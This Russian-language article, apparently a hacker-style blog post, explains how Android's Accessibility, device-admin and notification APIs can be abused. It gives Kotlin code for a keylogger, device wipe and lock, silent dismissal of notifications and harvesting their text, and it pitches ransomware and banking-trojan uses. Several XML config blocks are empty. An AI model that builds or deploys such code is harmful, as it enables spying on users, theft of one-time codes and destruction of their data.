{"draftJsState":{"blocks":[{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как не печально об этом говорить но мобильные и не только, устройства на базе системы Андроид более уязвимы по сравнению со своими яблочными конкурентами. Это происходит благодаря открытому исходному коду платформы и изобилию настроек, которые доступны для пользователей системы. О некоторых таких уязвимостях мы и поговорим сегодня, а именно — как получить контроль над системой андроид с помощью разрешений приложений.","type":"unstyled","key":"32ddn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Кроме традиционных разрешений, в Android есть три мета‑разрешения, которые открывают доступ к весьма опасным API, позволяющим в прямом смысле захватить контроль над устройством. В этой статье мы научимся их использовать, чтобы программно нажимать кнопки смартфона, перехватывать уведомления, извлекать текст из полей ввода других приложений и сбрасывать настройки смартфона.","type":"unstyled","key":"1qshv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"API которые применяются для взлома андроид.","type":"header-three","key":"cd3bc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Администрирование устройства — API, предназначенный для корпоративных приложений. Позволяет сбрасывать и устанавливать пароль экрана блокировки, сбрасывать смартфон до заводских настроек и устанавливать правила минимальной сложности пароля. Одна из особенностей API — запрещено удалять приложения, получившие права администратора, чем с радостью пользуются авторы зловредных приложений.","type":"ordered-list-item","key":"396hv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Accessibility — API для реализации приложений, ориентированных на людей с ограниченными возможностями. Фактически API позволяет создавать альтернативные способы управления устройством и поэтому открывает поистине огромный простор для злоупотребления. С его помощью можно получить доступ к содержимому экрана практически любого приложения, нажимать кнопки интерфейса и программно нажимать клавиши самого смартфона. Но есть и способ защиты: разработчик приложения может прямо указать, что определенные элементы интерфейса приложения будут недоступны для сервисов Accessibility.","type":"ordered-list-item","key":"6kfkb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Уведомления — API, позволяющий получить доступ ко всем уведомлениям, которые отображаются в панели уведомлений. С помощью этого API приложение может прочитать всю информацию об уведомлении, включая заголовок, текст и содержимое кнопок управления, нажать на эти кнопки и даже смахнуть уведомление. API пользуется особой популярностью среди разработчиков всевозможных банковских троянов, с помощью которого они могут читать коды подтверждения и смахивать предупреждающие сообщения от банков.","type":"ordered-list-item","key":"efhg3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Получив доступ ко всем этим API, зловредное приложение сможет сделать со смартфоном практически все что угодно. Именно поэтому для их защиты используются не традиционные запросы полномочий, на которые пользователь может машинально ответить «Да», а скрытый глубоко в настройках интерфейс, который при активации покажет угрожающее сообщение. Все, что может сделать приложение, чтобы получить нужное полномочие, — это перебросить пользователя в окно настроек, после чего тот должен будет найти нужное приложение, включить напротив него переключатель и согласиться с предупреждающим сообщением.","type":"unstyled","key":"85g2m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Заставить пользователя дать разрешение на использование этих API можно обманом. Зачастую зловреды прикидываются легитимными приложениями, которым разрешение нужно для работы ключевой функциональности. К примеру, это может быть приложение для ведения журнала уведомлений или приложение для альтернативной жестовой навигации (такому приложению нужен сервис Accessibility для нажатия кнопок навигации). Также можно использовать атаку Cloak & Dagger, чтобы перекрыть окно настроек другим безобидным окном.","type":"unstyled","key":"26sou"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"1. Нажатие кнопок смартфона","type":"header-three","key":"fpama"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Простейший сервис Accessibility может выглядеть так (код на Kotlin):","type":"unstyled","key":"fsfdg"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"class AccessService: AccessibilityService() {\ncompanion object {\nvar service: AccessibilityService? = null\n \n// Метод для программного нажатия кнопки «Домой»\nfun pressHome() {\nservice?.performGlobalAction(GLOBAL_ACTION_HOME)\n}\n}\n \noverride fun onServiceConnected() {\nservice = this\nsuper.onServiceConnected()\n}\n \noverride fun onUnbind(intent: Intent?): Boolean {\nservice = null\nreturn super.onUnbind(intent)\n}\n \noverride fun onInterrupt() {}\noverride fun onAccessibilityEvent(event: AccessibilityEvent) {}\n}","type":"unstyled","key":"ddopn"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Чтобы система узнала о нашем сервисе, его необходимо объявить в AndroidManifest.xml:","type":"unstyled","key":"72q2u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\n\n\n\n \n\n","type":"unstyled","key":"fc740"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Это описание ссылается на конфигурационный файл accessibility_service_config.xml, который должен быть определен в каталоге xml проекта. Для нашего случая достаточно будет такого конфига:","type":"unstyled","key":"c2uv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"dfjke"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"После того как пользователь включит наш сервис Accessibility в окне «Настройки → Спец. возможности», система автоматически запустит сервис и мы сможем выполнить функцию pressHome(), чтобы нажать кнопку «Домой»:","type":"unstyled","key":"9ur5"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"// Если service не null — значит, система успешно запустила сервис\nif (AccessService.service != null) {\nAccessService.pressHome()\n}","type":"unstyled","key":"9l784"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Одной лишь только этой функциональности достаточно, чтобы реализовать Ransomware, который будет вызывать функцию pressHome() в цикле и бесконечно возвращать пользователя на домашний экран, не давая нормально использовать устройство.Однако настоящая мощь Accessibility кроется не в нажатии кнопок навигации, а в возможности контролировать другие приложения.","type":"unstyled","key":"3ofgv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"2. Перехват содержимого полей ввода андроид","type":"header-three","key":"8lhf0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"API Accessibility был создан для людей с ограниченными возможностями. С его помощью можно, например, создать приложение, которое будет зачитывать все надписи интерфейса и позволит нажимать элементы интерфейса голосом. Все это достижимо благодаря тому, что Accessibility дает полный доступ к интерфейсу приложений в виде дерева элементов: можно пройти по нему и выполнить над элементами определенные операции.","type":"unstyled","key":"4kg6r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Чтобы научить наше приложение «ходить» по интерфейсу приложений, мы должны изменить описание сервиса в его настройках. Следующий конфиг дает полный доступ к интерфейсу любого приложения:","type":"unstyled","key":"8km0u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"be8do"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь напишем простейший кейлоггер. Для этого добавим в код сервиса такую функцию:","type":"unstyled","key":"frrdd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"override fun onAccessibilityEvent(event: AccessibilityEvent) {\nif (event.source?.className == \"android.widget.EditText\") {\nLog.d(\"EditText text: \", event.source?.text.toString())\n}\n}","type":"unstyled","key":"22pq0"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Теперь все, что пользователь введет в любое поле ввода любого приложения, будет выведено в консоль.","type":"unstyled","key":"fbku8"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"API Accessibility достаточно развит и позволяет перемещаться по дереву элементов, копировать текст элементов, вставлять в них текст и выполнять множество других действий. Это действительно опасный инструмент, поэтому Android будет использовать любую возможность, чтобы отозвать права Accessibility у приложения. Например, это произойдет при первом же падении сервиса. Кроме того, Android предоставляет разработчикам способ защитить критические компоненты приложения с помощью флага importantForAccessibility:","type":"unstyled","key":"ah32o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"8m6af"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Этот код скроет лейаут и всех его потомков от сервисов Accessibility.","type":"unstyled","key":"dp8ob"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"То же самое в коде:","type":"unstyled","key":"4mj6s"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"view.setImportantForAccessibility(IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS);","type":"unstyled","key":"7elph"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"3. Дамп дерева UI","type":"header-three","key":"f6aph"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Есть удобный способ сделать дамп UI любого приложения таким, каким его видит сервис Accessibility:","type":"unstyled","key":"cd7gs"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"$ adb shell uiautomator dump \n$ adb pull /sdcard/window_dump.xml","type":"unstyled","key":"43ugk"},{"data":{"error":"ru.yandex.zen.common.noMoreNode.error.exceptions.InputValidationException"},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"unstyled","key":"2sgg7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"4. Блокировка устройства и защита от удаления","type":"header-three","key":"4976g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Перейдем к API администрирования устройства. Как уже было сказано, этот API предназначен для удаленного управления защитой устройств: установки пароля, политик сложности пароля и удаленного сброса устройства. Использовать его не труднее, чем сервис Accessibility, но сам принцип отличается.","type":"unstyled","key":"4nlku"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Первое, что мы должны сделать, — создать ресивер, который будет вызван после включения/выключения прав администратора. Добавлять в ресивер какой‑то осмысленный код необязательно — главное, чтобы он был:","type":"unstyled","key":"4k3lq"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"class DeviceAdminPermissionReceiver : DeviceAdminReceiver() {\noverride fun onDisabled(aContext: Context, aIntent: Intent) {\n}\n}","type":"unstyled","key":"fng5h"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Далее ресивер необходимо добавить в манифест:","type":"unstyled","key":"e91sa"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\n \n\n \n\n\n\n","type":"unstyled","key":"3v800"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Эта запись ссылается на конфигурационный файл xml/admin_policies.xml. Создаем его и добавляем следующие строки:","type":"unstyled","key":"empet"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\n\n\n\n\n\n","type":"unstyled","key":"ak30g"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Конфиг говорит, что наше приложение может сбрасывать и менять пароль экрана блокировки, выключать экран, блокируя его паролем, и сбрасывать устройство до заводских настроек.","type":"unstyled","key":"8c091"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"После того как пользователь даст разрешение на использование прав администратора в разделе «Настройки → Безопасность → Приложения администратора устройства», мы можем проверить, действительно ли мы получили эти права, и воспользоваться ими:","type":"unstyled","key":"fmjht"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"// Функция для определения наличия прав\nfun checkAdminPermission() {\nval adminComponent = ComponentName(this, DeviceAdminPermissionReceiver::class.java)\nval policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager\nreturn policyManager.isAdminActive(adminComponent))\n}\n \nval policyManager = getSystemService(Context.DEVICE_POLICY_SERVICE) as DevicePolicyManager\n \n// Блокируем устройство и принудительно запрашиваем пароль\npolicyManager.lockNow()\n \n// Сбрасываем устройство до заводских настроек\npolicyManager.wipeData(0)\n \n// Меняем пароль экрана блокировки (не работает в Android 7+)\npolicyManager.resetPassword(\"1234\", 0)","type":"unstyled","key":"bucot"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Обрати внимание, что мы можем заблокировать устройство и даже сбросить его до заводских настроек, но начиная с Android 7 не имеем права поменять текущий пароль на экране блокировки.","type":"unstyled","key":"8h2a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Если быть более точным, текущий пароль в современных устройствах может изменять только приложение со статусом device owner. Есть лишь два способа получить такой статус:","type":"unstyled","key":"4pv8r"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"установить приложение‑администратор на девственно чистое устройство с помощью QR-кода. Для этого есть специальный API, которого мы не будем касаться в этой статье;","type":"unordered-list-item","key":"8us67"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"назначить приложение device owner’ом с помощью ADB или прав root. Для этого нужно выполнить такую команду:","type":"unordered-list-item","key":"3cfd7"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"$ dpm set-device-owner com.example.app/.DeviceAdminPermissionReceiver","type":"unstyled","key":"3p2oj"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Но, даже имея возможность только сбрасывать и блокировать устройство, мы можем написать приложение, которое будет требовать у пользователя выкуп, угрожая уничтожить все данные, или блокировать устройство в цикле. При этом пользователь не сможет просто так взять и удалить наше приложение, сначала придется отозвать у него права администратора.5. Перехват и смахивание уведомлений","type":"unstyled","key":"afjgb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Может показаться, что перехват уведомлений не столь уж лакомый кусок для зловредов, но только вдумайся: в современных устройствах через уведомления проходит масса конфиденциальной информации: СМС (включая одноразовые коды подтверждения), сообщения мессенджеров, заголовки писем и часть их содержимого, всевозможные сервисные сообщения.","type":"unstyled","key":"4nsmc"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как и в случае Accessibility API, для перехвата уведомлений нужен сервис, которым в итоге будет управлять сама система. Напишем код сервиса:","type":"unstyled","key":"9bpj6"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"class NLService: NotificationListenerService() {\nprivate var connected = false\n \noverride fun onListenerConnected() {\nconnected = true\nsuper.onListenerConnected()\n}\n \noverride fun onListenerDisconnected() {\nconnected = false\nsuper.onListenerDisconnected()\n}\n \noverride fun onNotificationPosted(sbn: StatusBarNotification) {\ncancelNotification(sbn.key)\n}\n \noverride fun onNotificationRemoved(sbn: StatusBarNotification?) {\n}\n}","type":"unstyled","key":"8mo1u"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Сервис имеет четыре основных колбэка. Два вызываются при подключении/отключении сервиса (это обычно происходит при запуске и остановке приложения, а также при включении и выключении доступа к уведомлениям). Еще два нужны для обработки появления/исчезновения уведомлений.","type":"unstyled","key":"pb0m"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Наш простейший сервис при появлении уведомления сразу смахивает его, а при исчезновении не делает ничего. Однако мы могли бы, например, запомнить заголовок, текст, а также пакет, которому принадлежит уведомление:","type":"unstyled","key":"4egk9"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"val extras = sbn.notification.extras\n \nval title = extras.getCharSequence(Notification.EXTRA_TITLE)\nval text = extras.getCharSequence(Notification.EXTRA_TEXT)\nval package = sbn.packageName","type":"unstyled","key":"3g3io"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Банковские трояны обычно смотрят на пакет приложения, сравнивая с базой банковских клиентов, а также распарсивают заголовок и текст сообщения в поисках специфичных для сообщений банков строк. Далее уведомление программно смахивается.","type":"unstyled","key":"689om"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Чтобы сервис заработал, его необходимо объявить в манифесте:","type":"unstyled","key":"eln9f"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"\n\n\n\n","type":"unstyled","key":"481hb"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"После включения в настройках (Приложения и уведомления → Специальный доступ → Доступ к уведомлениям) сервис начнет работать.","type":"unstyled","key":"5tkpd"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Итоги","type":"header-three","key":"3flcu"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Недурно, не правда ли? Написав пару десятков строк кода, мы научились программно нажимать кнопки смартфона, перехватывать уведомления, извлекать текст из полей ввода других приложений и даже сбрасывать настройки смартфона. Все это выглядит действительно страшно, особенно в сравнении с iOS. Но согласись, далеко не так страшно, как в случае с настольными Windows, Linux и macOS, где для получения полного контроля над устройством иногда достаточно всего лишь заставить пользователя нажать «Да» в одном‑единственном диалоге.","type":"unstyled","key":"9jjfl"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"","type":"marker","key":"DjxMyvjpicr7RRjYQ3fz"}],"entityMap":{}},"mentions":[]}